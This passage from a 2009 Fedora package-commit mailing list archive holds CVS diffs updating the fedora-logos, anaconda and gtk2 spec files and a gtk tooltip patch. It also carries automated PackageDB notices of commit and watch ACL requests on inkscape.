+* Wed Oct 28 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.5
+- Resolves: rhbz#531554 add workspace.chart41.patch
+
 * Wed Oct 21 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.4
 - Resolves: rhbz#522839 crash on exit after loading .doc
 - Resolves: rhbz#529746 crash on exit after loading .ppt



From spot at fedoraproject.org  Wed Oct 28 20:52:58 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 28 Oct 2009 20:52:58 +0000 (UTC)
Subject: rpms/fedora-logos/devel fedora-logos.spec, 1.133, 1.134 sources,
	1.103, 1.104
Message-ID: <20091028205258.BD4BC11C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15999/devel

Modified Files:
	fedora-logos.spec sources 
Log Message:
update to 12.0.2


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/fedora-logos.spec,v
retrieving revision 1.133
retrieving revision 1.134
diff -u -p -r1.133 -r1.134
--- fedora-logos.spec	22 Oct 2009 03:14:35 -0000	1.133
+++ fedora-logos.spec	28 Oct 2009 20:52:58 -0000	1.134
@@ -1,6 +1,6 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
-Version: 12.0.1
+Version: 12.0.2
 Release: 1%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
@@ -85,6 +85,9 @@ for size in 16x16 24x24 32x32 36x36 48x4
   done
 done
 
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps
+install -p -m 644 icons/Fedora/48x48/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps/
+
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
 pushd $RPM_BUILD_ROOT%{_sysconfdir}
 ln -s %{_datadir}/icons/hicolor/16x16/apps/fedora-logo-icon.png favicon.png
@@ -137,6 +140,7 @@ fi
 %{_datadir}/anaconda/pixmaps/*
 %{_datadir}/icons/hicolor/*/apps/*
 %{_datadir}/icons/Bluecurve/*/apps/*
+%{_datadir}/icons/Fedora/*/apps/
 %{_datadir}/icons/Fedora/*/places/*
 %{_datadir}/gnome-screensaver/*
 /usr/lib/anaconda-runtime/boot/*png
@@ -177,6 +181,9 @@ fi
 # end i386 bits
 
 %changelog
+* Wed Oct 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.2-1
+- Update to 12.0.2, has improved system-software-install icon
+
 * Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.1-1
 - Update to 12.0.1, switch to generic version of firstboot-left.png
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/sources,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- sources	22 Oct 2009 03:14:35 -0000	1.103
+++ sources	28 Oct 2009 20:52:58 -0000	1.104
@@ -1 +1 @@
-ce7d80af2045f56368ff1c6a0d16ae08  fedora-logos-12.0.1.tar.bz2
+fd68ea8a466c06d6fa33be6a7e3d8a53  fedora-logos-12.0.2.tar.bz2



From spot at fedoraproject.org  Wed Oct 28 20:52:58 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 28 Oct 2009 20:52:58 +0000 (UTC)
Subject: rpms/fedora-logos/F-12 .cvsignore, 1.89, 1.90 fedora-logos.spec,
	1.133, 1.134 sources, 1.103, 1.104
Message-ID: <20091028205258.953BC11C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15999/F-12

Modified Files:
	.cvsignore fedora-logos.spec sources 
Log Message:
update to 12.0.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/.cvsignore,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- .cvsignore	22 Oct 2009 03:14:34 -0000	1.89
+++ .cvsignore	28 Oct 2009 20:52:58 -0000	1.90
@@ -1 +1 @@
-fedora-logos-12.0.1.tar.bz2
+fedora-logos-12.0.2.tar.bz2


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/fedora-logos.spec,v
retrieving revision 1.133
retrieving revision 1.134
diff -u -p -r1.133 -r1.134
--- fedora-logos.spec	22 Oct 2009 03:14:34 -0000	1.133
+++ fedora-logos.spec	28 Oct 2009 20:52:58 -0000	1.134
@@ -1,6 +1,6 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
-Version: 12.0.1
+Version: 12.0.2
 Release: 1%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
@@ -85,6 +85,9 @@ for size in 16x16 24x24 32x32 36x36 48x4
   done
 done
 
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps
+install -p -m 644 icons/Fedora/48x48/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps/
+
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
 pushd $RPM_BUILD_ROOT%{_sysconfdir}
 ln -s %{_datadir}/icons/hicolor/16x16/apps/fedora-logo-icon.png favicon.png
@@ -137,6 +140,7 @@ fi
 %{_datadir}/anaconda/pixmaps/*
 %{_datadir}/icons/hicolor/*/apps/*
 %{_datadir}/icons/Bluecurve/*/apps/*
+%{_datadir}/icons/Fedora/*/apps/
 %{_datadir}/icons/Fedora/*/places/*
 %{_datadir}/gnome-screensaver/*
 /usr/lib/anaconda-runtime/boot/*png
@@ -177,6 +181,9 @@ fi
 # end i386 bits
 
 %changelog
+* Wed Oct 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.2-1
+- Update to 12.0.2, has improved system-software-install icon
+
 * Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.1-1
 - Update to 12.0.1, switch to generic version of firstboot-left.png
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/sources,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- sources	22 Oct 2009 03:14:34 -0000	1.103
+++ sources	28 Oct 2009 20:52:58 -0000	1.104
@@ -1 +1 @@
-ce7d80af2045f56368ff1c6a0d16ae08  fedora-logos-12.0.1.tar.bz2
+fd68ea8a466c06d6fa33be6a7e3d8a53  fedora-logos-12.0.2.tar.bz2



From clumens at fedoraproject.org  Wed Oct 28 21:01:12 2009
From: clumens at fedoraproject.org (Christopher Edward Lumens)
Date: Wed, 28 Oct 2009 21:01:12 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.681, 1.682 anaconda.spec, 1.831,
	1.832 sources, 1.815, 1.816
Message-ID: <20091028210112.B6DF711C00E5@cvs1.fedora.phx.redhat.com>

Author: clumens

Update of /cvs/pkgs/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18249

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
New version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.681
retrieving revision 1.682
diff -u -p -r1.681 -r1.682
--- .cvsignore	23 Oct 2009 16:25:19 -0000	1.681
+++ .cvsignore	28 Oct 2009 21:01:11 -0000	1.682
@@ -1 +1,2 @@
 anaconda-12.39.tar.bz2
+anaconda-12.40.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.831
retrieving revision 1.832
diff -u -p -r1.831 -r1.832
--- anaconda.spec	23 Oct 2009 16:25:19 -0000	1.831
+++ anaconda.spec	28 Oct 2009 21:01:11 -0000	1.832
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.39
+Version: 12.40
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -215,7 +215,14 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
-* Fri Oct 23 2009 Peter Jones <pjones at redhat.com> - 12.39-1
+* Wed Oct 28 2009 Chris Lumens <clumens at redhat.com> - 12.40-1
+- preexist -> onPart (#531407). (clumens)
+- Support upgrading when the language isn't in lang-table (#528317).
+  (clumens)
+- max_logical -> max_logicals (#530786). (clumens)
+- We moved from dialog to newt.. (#528497) (msivak)
+
+* Fri Oct 23 2009 Peter Jones <pjones at redhat.com> - 12.40-1
 - More udev fixups for device-mapper and cryptsetup temp devices. (dlehman)
   (#526699)
 - Use rpm to determine how to set bootloader args and default runlevel


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/sources,v
retrieving revision 1.815
retrieving revision 1.816
diff -u -p -r1.815 -r1.816
--- sources	23 Oct 2009 16:25:19 -0000	1.815
+++ sources	28 Oct 2009 21:01:12 -0000	1.816
@@ -1 +1 @@
-2ef873501606caa435661e4c5208c181  anaconda-12.39.tar.bz2
+2316fd94b98fd72cb7b701fa3a2943c6  anaconda-12.40.tar.bz2



From spot at fedoraproject.org  Wed Oct 28 21:06:51 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 28 Oct 2009 21:06:51 +0000 (UTC)
Subject: rpms/fedora-logos/F-12 fedora-logos.spec, 1.134, 1.135 sources,
	1.104, 1.105
Message-ID: <20091028210651.B97E011C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20080/F-12

Modified Files:
	fedora-logos.spec sources 
Log Message:
fixed 12.0.2


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/fedora-logos.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- fedora-logos.spec	28 Oct 2009 20:52:58 -0000	1.134
+++ fedora-logos.spec	28 Oct 2009 21:06:51 -0000	1.135
@@ -1,7 +1,7 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
 Version: 12.0.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
 Source0: https://fedorahosted.org/releases/f/e/fedora-logos/fedora-logos-%{version}.tar.bz2
@@ -87,6 +87,8 @@ done
 
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps
 install -p -m 644 icons/Fedora/48x48/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps/
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/scalable/apps
+install -p -m 644 icons/Fedora/scalable/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/scalable/apps
 
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
 pushd $RPM_BUILD_ROOT%{_sysconfdir}
@@ -181,6 +183,9 @@ fi
 # end i386 bits
 
 %changelog
+* Wed Oct 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.2-2
+- Fixed 12.0.2 source, package up scalable svg source for system-software-install icon
+
 * Wed Oct 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.2-1
 - Update to 12.0.2, has improved system-software-install icon
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/sources,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- sources	28 Oct 2009 20:52:58 -0000	1.104
+++ sources	28 Oct 2009 21:06:51 -0000	1.105
@@ -1 +1 @@
-fd68ea8a466c06d6fa33be6a7e3d8a53  fedora-logos-12.0.2.tar.bz2
+8a27e923e1cc5bf748715066356c61ee  fedora-logos-12.0.2.tar.bz2



From spot at fedoraproject.org  Wed Oct 28 21:06:51 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 28 Oct 2009 21:06:51 +0000 (UTC)
Subject: rpms/fedora-logos/devel fedora-logos.spec, 1.134, 1.135 sources,
	1.104, 1.105
Message-ID: <20091028210651.F08FE11C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20080/devel

Modified Files:
	fedora-logos.spec sources 
Log Message:
fixed 12.0.2


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/fedora-logos.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- fedora-logos.spec	28 Oct 2009 20:52:58 -0000	1.134
+++ fedora-logos.spec	28 Oct 2009 21:06:51 -0000	1.135
@@ -1,7 +1,7 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
 Version: 12.0.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
 Source0: https://fedorahosted.org/releases/f/e/fedora-logos/fedora-logos-%{version}.tar.bz2
@@ -87,6 +87,8 @@ done
 
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps
 install -p -m 644 icons/Fedora/48x48/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/48x48/apps/
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/scalable/apps
+install -p -m 644 icons/Fedora/scalable/apps/* $RPM_BUILD_ROOT%{_datadir}/icons/Fedora/scalable/apps
 
 mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
 pushd $RPM_BUILD_ROOT%{_sysconfdir}
@@ -181,6 +183,9 @@ fi
 # end i386 bits
 
 %changelog
+* Wed Oct 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.2-2
+- Fixed 12.0.2 source, package up scalable svg source for system-software-install icon
+
 * Wed Oct 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.2-1
 - Update to 12.0.2, has improved system-software-install icon
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/sources,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- sources	28 Oct 2009 20:52:58 -0000	1.104
+++ sources	28 Oct 2009 21:06:51 -0000	1.105
@@ -1 +1 @@
-fd68ea8a466c06d6fa33be6a7e3d8a53  fedora-logos-12.0.2.tar.bz2
+8a27e923e1cc5bf748715066356c61ee  fedora-logos-12.0.2.tar.bz2



From mclasen at fedoraproject.org  Wed Oct 28 21:32:22 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 28 Oct 2009 21:32:22 +0000 (UTC)
Subject: rpms/gtk2/F-12 fresh-tooltips.patch,1.6,1.7 gtk2.spec,1.427,1.428
Message-ID: <20091028213222.980D011C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28346

Modified Files:
	fresh-tooltips.patch gtk2.spec 
Log Message:
work around a bug in the X automatic compositor


fresh-tooltips.patch:
 gtktooltip.c |  274 ++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
 gtkwidget.c  |    8 +
 2 files changed, 263 insertions(+), 19 deletions(-)

Index: fresh-tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/fresh-tooltips.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- fresh-tooltips.patch	28 Oct 2009 19:38:13 -0000	1.6
+++ fresh-tooltips.patch	28 Oct 2009 21:32:22 -0000	1.7
@@ -1,5 +1,6 @@
+diff -up gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips gtk+-2.18.3/gtk/gtktooltip.c
 --- gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips	2009-10-16 10:35:45.000000000 -0400
-+++ hacked/gtk/gtktooltip.c	2009-10-28 11:45:17.216105152 -0400
++++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-28 17:18:38.124009120 -0400
 @@ -29,6 +29,10 @@
  #include "gtkhbox.h"
  #include "gtkalignment.h"
@@ -11,7 +12,7 @@
  #include "gtkalias.h"
  
  #include <string.h>
-@@ -95,6 +99,7 @@
+@@ -95,6 +99,7 @@ static void       gtk_tooltip_display_cl
  						    GtkTooltip      *tooltip);
  static void       gtk_tooltip_set_last_window      (GtkTooltip      *tooltip,
  						    GdkWindow       *window);
@@ -19,7 +20,7 @@
  
  
  G_DEFINE_TYPE (GtkTooltip, gtk_tooltip, G_TYPE_OBJECT);
-@@ -110,8 +115,25 @@
+@@ -110,8 +115,25 @@ gtk_tooltip_class_init (GtkTooltipClass 
  }
  
  static void
@@ -45,25 +46,23 @@
    tooltip->timeout_id = 0;
    tooltip->browse_mode_timeout_id = 0;
  
-@@ -127,8 +149,17 @@
+@@ -127,8 +149,15 @@ gtk_tooltip_init (GtkTooltip *tooltip)
    tooltip->last_window = NULL;
  
    tooltip->window = g_object_ref (gtk_window_new (GTK_WINDOW_POPUP));
 +
 +  screen = gtk_widget_get_screen (tooltip->window);
 +  rgba = gdk_screen_get_rgba_colormap (screen);
-+  if (rgba)
++  if (rgba && gdk_screen_is_composited (screen))
 +    gtk_widget_set_colormap (tooltip->window, rgba);
 +
-+
    gtk_window_set_type_hint (GTK_WINDOW (tooltip->window),
  			    GDK_WINDOW_TYPE_HINT_TOOLTIP);
 +
-+
    gtk_widget_set_app_paintable (tooltip->window, TRUE);
    gtk_window_set_resizable (GTK_WINDOW (tooltip->window), FALSE);
    gtk_widget_set_name (tooltip->window, "gtk-tooltip");
-@@ -145,7 +176,7 @@
+@@ -145,7 +174,7 @@ gtk_tooltip_init (GtkTooltip *tooltip)
    gtk_widget_show (tooltip->alignment);
  
    g_signal_connect_swapped (tooltip->window, "style-set",
@@ -72,7 +71,7 @@
    g_signal_connect_swapped (tooltip->window, "expose-event",
  			    G_CALLBACK (gtk_tooltip_paint_window), tooltip);
  
-@@ -162,6 +193,11 @@
+@@ -162,6 +191,11 @@ gtk_tooltip_init (GtkTooltip *tooltip)
    gtk_box_pack_start (GTK_BOX (tooltip->box), tooltip->label,
  		      FALSE, FALSE, 0);
  
@@ -84,7 +83,7 @@
    tooltip->custom_widget = NULL;
  }
  
-@@ -318,9 +354,9 @@
+@@ -318,9 +352,9 @@ gtk_tooltip_set_icon_from_stock (GtkTool
   * Since: 2.14
   */
  void
@@ -97,7 +96,7 @@
  {
    g_return_if_fail (GTK_IS_TOOLTIP (tooltip));
  
-@@ -471,27 +507,229 @@
+@@ -471,27 +505,229 @@ static void
  gtk_tooltip_window_style_set (GtkTooltip *tooltip)
  {
    gtk_alignment_set_padding (GTK_ALIGNMENT (tooltip->alignment),
@@ -341,7 +340,7 @@
  
    return FALSE;
  }
-@@ -631,7 +869,7 @@
+@@ -631,7 +867,7 @@ find_widget_under_pointer (GdkWindow *wi
  
  #ifdef DEBUG_TOOLTIP
    g_print ("event window %p (belonging to %p (%s))  (%d, %d)\n",
@@ -350,9 +349,10 @@
  	   *x, *y);
  #endif
  
---- gtk+-2.18.3/gtk/gtkwidget.c	2009-10-09 01:00:44.000000000 -0400
-+++ hacked/gtk/gtkwidget.c	2009-10-28 10:53:01.569855420 -0400
-@@ -2386,6 +2386,14 @@
+diff -up gtk+-2.18.3/gtk/gtkwidget.c.fresh-tooltips gtk+-2.18.3/gtk/gtkwidget.c
+--- gtk+-2.18.3/gtk/gtkwidget.c.fresh-tooltips	2009-10-09 01:00:44.000000000 -0400
++++ gtk+-2.18.3/gtk/gtkwidget.c	2009-10-28 17:17:02.854003713 -0400
+@@ -2386,6 +2386,14 @@ gtk_widget_class_init (GtkWidgetClass *k
                                                               P_("The length of vertical scroll arrows"),
                                                               1, G_MAXINT, 16,
                                                               GTK_PARAM_READABLE));


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.427
retrieving revision 1.428
diff -u -p -r1.427 -r1.428
--- gtk2.spec	28 Oct 2009 19:38:13 -0000	1.427
+++ gtk2.spec	28 Oct 2009 21:32:22 -0000	1.428
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 14%{?dist}
+Release: 15%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -403,6 +403,9 @@ fi
 
 
 %changelog
+* Wed Oct 28 2009 Matthias Clasen <mclasen at redhta.com> - 2.18.3-15
+- Work around a bug in the X automatic compositor (#531443)
+
 * Wed Oct 28 2009 Matthias Clasen <mclasen at redhta.com> - 2.18.3-14
 - Make the new tooltips sharp
 - Improve the Metacity compositor workaround for new tooltips



From pkgdb at fedoraproject.org  Wed Oct 28 21:44:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:44:38 +0000
Subject: [pkgdb] inkscape: wtogami has requested watchbugzilla
Message-ID: <20091028214438.51B3610F894@bastion2.fedora.phx.redhat.com>

wtogami has requested the watchbugzilla acl on inkscape (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:44:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:44:40 +0000
Subject: [pkgdb] inkscape: wtogami has requested watchcommits
Message-ID: <20091028214440.DAD5110F89C@bastion2.fedora.phx.redhat.com>

wtogami has requested the watchcommits acl on inkscape (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:44:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:44:43 +0000
Subject: [pkgdb] inkscape: wtogami has requested commit
Message-ID: <20091028214443.1559C10F8A3@bastion2.fedora.phx.redhat.com>

wtogami has requested the commit acl on inkscape (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:44:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:44:56 +0000
Subject: [pkgdb] inkscape: wtogami has requested watchbugzilla
Message-ID: <20091028214456.BAE7410F894@bastion2.fedora.phx.redhat.com>

wtogami has requested the watchbugzilla acl on inkscape (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:44:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:44:58 +0000
Subject: [pkgdb] inkscape: wtogami has requested watchcommits
Message-ID: <20091028214458.88D3910F89C@bastion2.fedora.phx.redhat.com>

wtogami has requested the watchcommits acl on inkscape (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:45:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:45:00 +0000
Subject: [pkgdb] inkscape: wtogami has requested commit
Message-ID: <20091028214500.A175C10F871@bastion2.fedora.phx.redhat.com>

wtogami has requested the commit acl on inkscape (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:46:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:46:50 +0000
Subject: [pkgdb] inkscape: duffy has requested watchcommits
Message-ID: <20091028214650.7D0C910F894@bastion2.fedora.phx.redhat.com>

duffy has requested the watchcommits acl on inkscape (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:46:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:46:50 +0000
Subject: [pkgdb] inkscape: duffy has requested watchbugzilla
Message-ID: <20091028214650.D208E10F89C@bastion2.fedora.phx.redhat.com>

duffy has requested the watchbugzilla acl on inkscape (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:46:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:46:51 +0000
Subject: [pkgdb] inkscape: duffy has requested commit
Message-ID: <20091028214651.0C47810F8A3@bastion2.fedora.phx.redhat.com>

duffy has requested the commit acl on inkscape (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:47:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:47:05 +0000
Subject: [pkgdb] inkscape: duffy has requested watchcommits
Message-ID: <20091028214705.382DA10F88B@bastion2.fedora.phx.redhat.com>

duffy has requested the watchcommits acl on inkscape (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:47:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:47:06 +0000
Subject: [pkgdb] inkscape: duffy has requested commit
Message-ID: <20091028214706.5173E10F8B0@bastion2.fedora.phx.redhat.com>

duffy has requested the commit acl on inkscape (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Wed Oct 28 21:47:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 21:47:10 +0000
Subject: [pkgdb] inkscape: duffy has requested watchbugzilla
Message-ID: <20091028214710.69DCD10F8B4@bastion2.fedora.phx.redhat.com>

duffy has requested the watchbugzilla acl on inkscape (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From dcantrel at fedoraproject.org  Wed Oct 28 21:49:21 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Wed, 28 Oct 2009 21:49:21 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.682, 1.683 anaconda.spec, 1.832,
	1.833 sources, 1.816, 1.817
Message-ID: <20091028214921.575C511C02C8@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14221

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Wed Oct 28 2009 David Cantrell <dcantrell at redhat.com> - 12.41-1
- BR system-config-keyboard (dcantrell)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.682
retrieving revision 1.683
diff -u -p -r1.682 -r1.683
--- .cvsignore	28 Oct 2009 21:01:11 -0000	1.682
+++ .cvsignore	28 Oct 2009 21:49:20 -0000	1.683
@@ -1,2 +1 @@
-anaconda-12.39.tar.bz2
-anaconda-12.40.tar.bz2
+anaconda-12.41.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.832
retrieving revision 1.833
diff -u -p -r1.832 -r1.833
--- anaconda.spec	28 Oct 2009 21:01:11 -0000	1.832
+++ anaconda.spec	28 Oct 2009 21:49:20 -0000	1.833
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.40
+Version: 12.41
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -44,6 +44,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 %define iscsiver 6.2.0.870-3
 %define pythoncryptsetupver 0.0.6
 %define mehver 0.4
+%define sckeyboardver 1.3.1
 
 BuildRequires: audit-libs-devel
 BuildRequires: bzip2-devel
@@ -76,6 +77,7 @@ BuildRequires: zlib-devel
 BuildRequires: NetworkManager-devel >= %{nmver}
 BuildRequires: NetworkManager-glib-devel >= %{nmver}
 BuildRequires: dbus-devel >= %{dbusver}
+BuildRequires: system-config-keyboard >= %{sckeyboardver}
 %ifarch %livearches
 BuildRequires: desktop-file-utils
 %endif
@@ -116,7 +118,7 @@ Requires: python-cryptsetup >= %{pythonc
 Requires: mdadm
 Requires: lvm2
 Requires: util-linux-ng >= 2.15.1
-Requires: system-config-keyboard >= 1.3.1
+Requires: system-config-keyboard >= %{sckeyboardver}
 Requires: dbus-python
 Requires: cracklib-python
 Requires: python-bugzilla
@@ -215,6 +217,9 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Wed Oct 28 2009 David Cantrell <dcantrell at redhat.com> - 12.41-1
+- BR system-config-keyboard (dcantrell)
+
 * Wed Oct 28 2009 Chris Lumens <clumens at redhat.com> - 12.40-1
 - preexist -> onPart (#531407). (clumens)
 - Support upgrading when the language isn't in lang-table (#528317).
@@ -222,7 +227,7 @@ update-desktop-database &> /dev/null || 
 - max_logical -> max_logicals (#530786). (clumens)
 - We moved from dialog to newt.. (#528497) (msivak)
 
-* Fri Oct 23 2009 Peter Jones <pjones at redhat.com> - 12.40-1
+* Fri Oct 23 2009 Peter Jones <pjones at redhat.com> - 12.41-1
 - More udev fixups for device-mapper and cryptsetup temp devices. (dlehman)
   (#526699)
 - Use rpm to determine how to set bootloader args and default runlevel


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/sources,v
retrieving revision 1.816
retrieving revision 1.817
diff -u -p -r1.816 -r1.817
